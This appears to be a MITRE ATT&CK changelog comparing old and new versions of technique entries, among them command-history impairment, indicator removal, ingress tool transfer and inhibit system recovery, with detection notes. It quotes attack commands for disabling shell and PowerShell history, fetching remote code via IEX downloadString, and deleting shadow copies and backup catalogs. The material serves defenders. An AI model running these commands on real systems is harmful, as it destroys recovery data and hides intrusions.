| revious examples. This means that “ ls” will not be saved, b | | revious examples. This means that “ ls” will not be saved, b |
| ut “ls” would be saved by history. Adversaries can abuse thi | | ut “ls” would be saved by history. Adversaries can abuse thi |
| s to operate without leaving traces by simply prepending a s | | s to operate without leaving traces by simply prepending a s |
| pace to all of their terminal commands. On Windows systems, | | pace to all of their terminal commands. On Windows systems |
| the <code>PSReadLine</code> module tracks commands used in | | , the <code>PSReadLine</code> module tracks commands used in |
| all PowerShell sessions and writes them to a file (<code>$en | | all PowerShell sessions and writes them to a file (<code>$e |
| v:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHos | | nv:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHo |
| t_history.txt</code> by default). Adversaries may change whe | | st_history.txt</code> by default). Adversaries may change wh |
| re these logs are saved using <code>Set-PSReadLineOption -Hi | | ere these logs are saved using <code>Set-PSReadLineOption -H |
| storySavePath {File Path}</code>. This will cause <code>Cons | | istorySavePath {File Path}</code>. This will cause <code>Con |
| oleHost_history.txt</code> to stop receiving logs. Additiona | | soleHost_history.txt</code> to stop receiving logs. Addition |
| lly, it is possible to turn off logging to this file using t | | ally, it is possible to turn off logging to this file using |
| he PowerShell command <code>Set-PSReadlineOption -HistorySav | | the PowerShell command <code>Set-PSReadlineOption -HistorySa |
| eStyle SaveNothing</code>.(Citation: Microsoft PowerShell Co | | veStyle SaveNothing</code>.(Citation: Microsoft PowerShell C |
| mmand History)(Citation: Sophos PowerShell command audit)(Ci | | ommand History)(Citation: Sophos PowerShell command audit)(C |
| tation: Sophos PowerShell Command History Forensics) | | itation: Sophos PowerShell Command History Forensics) Adver |
| | | saries may also leverage a [Network Device CLI](https://atta |
| | | ck.mitre.org/techniques/T1059/008) on network devices to dis |
| | | able historical command logging. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. |
| external_references | | CAPEC-13 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-13 | |
| external_references | Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-24 13:59:12.787000+00:00 | 2022-04-20 18:11:45.153000+00:00 |
| description | Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.
Adversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.
On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics) | Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.
Adversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.
On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)
Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging. |
| external_references[1]['source_name'] | capec | Sophos PowerShell command audit |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/13.html | https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit |
| external_references[3]['source_name'] | Sophos PowerShell command audit | Sophos PowerShell Command History Forensics |
| external_references[3]['description'] | jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. | Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020. |
| external_references[3]['url'] | https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit | https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics |
| external_references[4]['source_name'] | Sophos PowerShell Command History Forensics | capec |
| external_references[4]['url'] | https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics | https://capec.mitre.org/data/definitions/13.html |
| x_mitre_detection | Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.
Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. | Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.
Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. |
| x_mitre_version | 2.0 | 2.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Austin Clark, @c2defense |
| x_mitre_platforms | | Network |
[T1525] Implant Internal Image
Current version: 2.1
Version changed from: 2.0 → 2.1
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|
|---|
| t | Adversaries may implant cloud or container images with malic | t | Adversaries may implant cloud or container images with malic |
| ious code to establish persistence after gaining access to a | | ious code to establish persistence after gaining access to a |
| n environment. Amazon Web Services (AWS) Amazon Machine Imag | | n environment. Amazon Web Services (AWS) Amazon Machine Imag |
| es (AMIs), Google Cloud Platform (GCP) Images, and Azure Ima | | es (AMIs), Google Cloud Platform (GCP) Images, and Azure Ima |
| ges as well as popular container runtimes such as Docker can | | ges as well as popular container runtimes such as Docker can |
| be implanted or backdoored. Unlike [Upload Malware](https:/ | | be implanted or backdoored. Unlike [Upload Malware](https:/ |
| /attack.mitre.org/techniques/T1608/001), this technique focu | | /attack.mitre.org/techniques/T1608/001), this technique focu |
| ses on adversaries implanting an image in a registry within | | ses on adversaries implanting an image in a registry within |
| a victim’s environment. Depending on how the infrastructure | | a victim’s environment. Depending on how the infrastructure |
| is provisioned, this could provide persistent access if the | | is provisioned, this could provide persistent access if the |
| infrastructure provisioning tool is instructed to always use | | infrastructure provisioning tool is instructed to always use |
| the latest image.(Citation: Rhino Labs Cloud Image Backdoor | | the latest image.(Citation: Rhino Labs Cloud Image Backdoor |
| Technique Sept 2019) A tool has been developed to facilita | | Technique Sept 2019) A tool has been developed to facilita |
| te planting backdoors in cloud container images.(Citation: R | | te planting backdoors in cloud container images.(Citation: R |
| hino Labs Cloud Backdoor September 2019) If an attacker has | | hino Labs Cloud Backdoor September 2019) If an adversary has |
| access to a compromised AWS instance, and permissions to lis | | access to a compromised AWS instance, and permissions to li |
| t the available container images, they may implant a backdoo | | st the available container images, they may implant a backdo |
| r such as a [Web Shell](https://attack.mitre.org/techniques/ | | or such as a [Web Shell](https://attack.mitre.org/techniques |
| T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Techni | | /T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Techn |
| que Sept 2019) | | ique Sept 2019) |
New Detections:
- DS0007: Image (Image Metadata)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 18:28:27.948000+00:00 | 2022-03-08 21:27:49.094000+00:00 |
| description | Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) | Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)
A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) |
| x_mitre_data_sources[2] | Image: Image Modification | Image: Image Metadata |
| x_mitre_version | 2.0 | 2.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Image: Image Modification |
[T1070] Indicator Removal on Host
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may delete or alter generated artifacts on a hos | t | Adversaries may delete or modify artifacts generated on a ho |
| t system, including logs or captured files such as quarantin | | st system to remove evidence of their presence or hinder def |
| ed malware. Locations and format of logs are platform or pro | | enses. Various artifacts may be created by an adversary or s |
| duct-specific, however standard operating system logs are ca | | omething that can be attributed to an adversary’s actions. T |
| ptured as Windows events or Linux/macOS files such as [Bash | | ypically these artifacts are used as defensive indicators re |
| History](https://attack.mitre.org/techniques/T1552/003) and | | lated to monitored events, such as strings from downloaded f |
| /var/log/*. These actions may interfere with event collecti | | iles, logs that are generated from user actions, and other d |
| on, reporting, or other notifications used to detect intrusi | | ata analyzed by defenders. Location, format, and type of art |
| on activity. This may compromise the integrity of security s | | ifact (such as command or login history) are often specific |
| olutions by causing notable events to go unreported. This ac | | to each platform. Removal of these indicators may interfere |
| tivity may also impede forensic analysis and incident respon | | with event collection, reporting, or other processes used t |
| se, due to lack of sufficient data to determine what occurre | | o detect intrusion activity. This may compromise the integri |
| d. | | ty of security solutions by causing notable events to go unr |
| | | eported. This activity may also impede forensic analysis and |
| | | incident response, due to lack of sufficient data to determ |
| | | ine what occurred. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-07-27 15:23:52.099000+00:00 | 2022-04-01 20:24:14.332000+00:00 |
| description | Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.
These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. | Adversaries may delete or modify artifacts generated on a host system to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. |
| x_mitre_data_sources[0] | Process: Process Creation | Windows Registry: Windows Registry Key Deletion |
| x_mitre_data_sources[1] | File: File Deletion | File: File Metadata |
| x_mitre_data_sources[2] | File: File Modification | User Account: User Account Authentication |
| x_mitre_data_sources[3] | Windows Registry: Windows Registry Key Modification | Process: Process Creation |
| x_mitre_data_sources[4] | Windows Registry: Windows Registry Key Deletion | Command: Command Execution |
| x_mitre_data_sources[5] | Process: OS API Execution | File: File Deletion |
| x_mitre_data_sources[6] | Command: Command Execution | Process: OS API Execution |
| x_mitre_data_sources[7] | Network Traffic: Network Traffic Content | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[8] | User Account: User Account Authentication | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[9] | File: File Metadata | File: File Modification |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Network |
[T1105] Ingress Tool Transfer
Current version: 2.1
Version changed from: 2.0 → 2.1
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|
|---|
| t | Adversaries may transfer tools or other files from an extern | t | Adversaries may transfer tools or other files from an extern |
| al system into a compromised environment. Files may be copie | | al system into a compromised environment. Tools or files may |
| d from an external adversary controlled system through the c | | be copied from an external adversary-controlled system to t |
| ommand and control channel to bring tools into the victim ne | | he victim network through the command and control channel or |
| twork or through alternate protocols with another tool such | | through alternate protocols such as [ftp](https://attack.mi |
| as FTP. Files can also be copied over on Mac and Linux with | | tre.org/software/S0095). Once present, adversaries may also |
| native tools like scp, rsync, and sftp. | | transfer/spread tools between victim devices within a compro |
| | | mised environment (i.e. [Lateral Tool Transfer](https://atta |
| | | ck.mitre.org/techniques/T1570)). Files can also be transfe |
| | | rred using various [Web Service](https://attack.mitre.org/te |
| | | chniques/T1102)s as well as native or otherwise present tool |
| | | s on the victim system.(Citation: PTSecurity Cobalt Dec 2016 |
| | | ) On Windows, adversaries may use various utilities to down |
| | | load tools, such as `copy`, `finger`, and [PowerShell](https |
| | | ://attack.mitre.org/techniques/T1059/001) commands such as < |
| | | code>IEX(New-Object Net.WebClient).downloadString()</code> a |
| | | nd <code>Invoke-WebRequest</code>. On Linux and macOS system |
| | | s, a variety of utilities also exist, such as `curl`, `scp`, |
| | | `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1 |
| | | 105_lolbas) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['John Page (aka hyp3rlinx), ApparitionSec'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-20 15:42:48.595000+00:00 | 2022-04-20 17:14:04.124000+00:00 |
| description | Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. | Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)).
Files can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)
On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas) |
| x_mitre_data_sources[0] | Network Traffic: Network Traffic Flow | File: File Creation |
| x_mitre_data_sources[3] | File: File Creation | Network Traffic: Network Traffic Flow |
| x_mitre_detection | Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) | Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
| x_mitre_version | 2.0 | 2.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 't1105_lolbas', 'description': 'LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.', 'url': 'https://lolbas-project.github.io/#t1105 '} |
| external_references | | {'source_name': 'PTSecurity Cobalt Dec 2016', 'description': 'Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.', 'url': 'https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf'} |
[T1490] Inhibit System Recovery
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may delete or remove built-in operating system d | t | Adversaries may delete or remove built-in operating system d |
| ata and turn off services designed to aid in the recovery of | | ata and turn off services designed to aid in the recovery of |
| a corrupted system to prevent recovery.(Citation: Talos Oly | | a corrupted system to prevent recovery.(Citation: Talos Oly |
| mpic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operat | | mpic Destroyer 2018)(Citation: FireEye WannaCry 2017) This m |
| ing systems may contain features that can help fix corrupted | | ay deny access to available backups and recovery options. O |
| systems, such as a backup catalog, volume shadow copies, an | | perating systems may contain features that can help fix corr |
| d automatic repair features. Adversaries may disable or dele | | upted systems, such as a backup catalog, volume shadow copie |
| te system recovery features to augment the effects of [Data | | s, and automatic repair features. Adversaries may disable or |
| Destruction](https://attack.mitre.org/techniques/T1485) and | | delete system recovery features to augment the effects of [ |
| [Data Encrypted for Impact](https://attack.mitre.org/techniq | | Data Destruction](https://attack.mitre.org/techniques/T1485) |
| ues/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation | | and [Data Encrypted for Impact](https://attack.mitre.org/te |
| : FireEye WannaCry 2017) A number of native Windows utiliti | | chniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Cit |
| es have been used by adversaries to disable or delete system | | ation: FireEye WannaCry 2017) A number of native Windows ut |
| recovery features: * <code>vssadmin.exe</code> can be used | | ilities have been used by adversaries to disable or delete s |
| to delete all volume shadow copies on a system - <code>vssa | | ystem recovery features: * <code>vssadmin.exe</code> can be |
| dmin.exe delete shadows /all /quiet</code> * [Windows Manage | | used to delete all volume shadow copies on a system - <code |
| ment Instrumentation](https://attack.mitre.org/techniques/T1 | | >vssadmin.exe delete shadows /all /quiet</code> * [Windows M |
| 047) can be used to delete volume shadow copies - <code>wmic | | anagement Instrumentation](https://attack.mitre.org/techniqu |
| shadowcopy delete</code> * <code>wbadmin.exe</code> can be | | es/T1047) can be used to delete volume shadow copies - <code |
| used to delete the Windows Backup Catalog - <code>wbadmin.ex | | >wmic shadowcopy delete</code> * <code>wbadmin.exe</code> ca |
| e delete catalog -quiet</code> * <code>bcdedit.exe</code> ca | | n be used to delete the Windows Backup Catalog - <code>wbadm |
| n be used to disable automatic Windows recovery features by | | in.exe delete catalog -quiet</code> * <code>bcdedit.exe</cod |
| modifying boot configuration data - <code>bcdedit.exe /set { | | e> can be used to disable automatic Windows recovery feature |
| default} bootstatuspolicy ignoreallfailures & bcdedit /set { | | s by modifying boot configuration data - <code>bcdedit.exe / |
| default} recoveryenabled no</code> | | set {default} bootstatuspolicy ignoreallfailures & bcdedit / |
| | | set {default} recoveryenabled no</code> |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator', 'root', 'SYSTEM', 'User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-07-14 19:33:52.512000+00:00 | 2022-04-19 23:26:59.186000+00:00 |
| description | Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete
* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no | Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.
Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete
* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no |
| external_references[1]['source_name'] | Talos Olympic Destroyer 2018 | FireEye WannaCry 2017 |
| external_references[1]['description'] | Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. | Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019. |
| external_references[1]['url'] | https://blog.talosintelligence.com/2018/02/olympic-destroyer.html | https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html |
| external_references[2]['source_name'] | FireEye WannaCry 2017 | Talos Olympic Destroyer 2018 |
| external_references[2]['description'] | Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019. | Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html | https://blog.talosintelligence.com/2018/02/olympic-destroyer.html |
| x_mitre_data_sources[1] | Command: Command Execution | File: File Deletion |
| x_mitre_data_sources[3] | Windows Registry: Windows Registry Key Modification | Command: Command Execution |
| x_mitre_data_sources[4] | File: File Deletion | Windows Registry: Windows Registry Key Modification |
| x_mitre_version | 1.0 | 1.1 |
[T1559] Inter-Process Communication
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may abuse inter-process communication (IPC) mech | t | Adversaries may abuse inter-process communication (IPC) mech |
| anisms for local code or command execution. IPC is typically | | anisms for local code or command execution. IPC is typically |
| used by processes to share data, communicate with each othe | | used by processes to share data, communicate with each othe |
| r, or synchronize execution. IPC is also commonly used to av | | r, or synchronize execution. IPC is also commonly used to av |
| oid situations such as deadlocks, which occurs when processe | | oid situations such as deadlocks, which occurs when processe |
| s are stuck in a cyclic waiting pattern. Adversaries may a | | s are stuck in a cyclic waiting pattern. Adversaries may a |
| buse IPC to execute arbitrary code or commands. IPC mechanis | | buse IPC to execute arbitrary code or commands. IPC mechanis |
| ms may differ depending on OS, but typically exists in a for | | ms may differ depending on OS, but typically exists in a for |
| m accessible through programming languages/libraries or nati | | m accessible through programming languages/libraries or nati |
| ve interfaces such as Windows [Dynamic Data Exchange](https: | | ve interfaces such as Windows [Dynamic Data Exchange](https: |
| //attack.mitre.org/techniques/T1559/002) or [Component Objec | | //attack.mitre.org/techniques/T1559/002) or [Component Objec |
| t Model](https://attack.mitre.org/techniques/T1559/001). Hig | | t Model](https://attack.mitre.org/techniques/T1559/001). Lin |
| her level execution mediums, such as those of [Command and S | | ux environments support several different IPC mechanisms, tw |
| cripting Interpreter](https://attack.mitre.org/techniques/T1 | | o of which being sockets and pipes.(Citation: Linux IPC) Hig |
| 059)s, may also leverage underlying IPC mechanisms. Adversar | | her level execution mediums, such as those of [Command and S |
| ies may also use [Remote Services](https://attack.mitre.org/ | | cripting Interpreter](https://attack.mitre.org/techniques/T1 |
| techniques/T1021) such as [Distributed Component Object Mode | | 059)s, may also leverage underlying IPC mechanisms. Adversar |
| l](https://attack.mitre.org/techniques/T1021/003) to facilit | | ies may also use [Remote Services](https://attack.mitre.org/ |
| ate remote IPC execution.(Citation: Fireeye Hunting COM June | | techniques/T1021) such as [Distributed Component Object Mode |
| 2019) | | l](https://attack.mitre.org/techniques/T1021/003) to facilit |
| | | ate remote IPC execution.(Citation: Fireeye Hunting COM June |
| | | 2019) |
New Mitigations:
- M1013: Application Developer Guidance
New Detections:
- DS0009: Process (Process Access)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
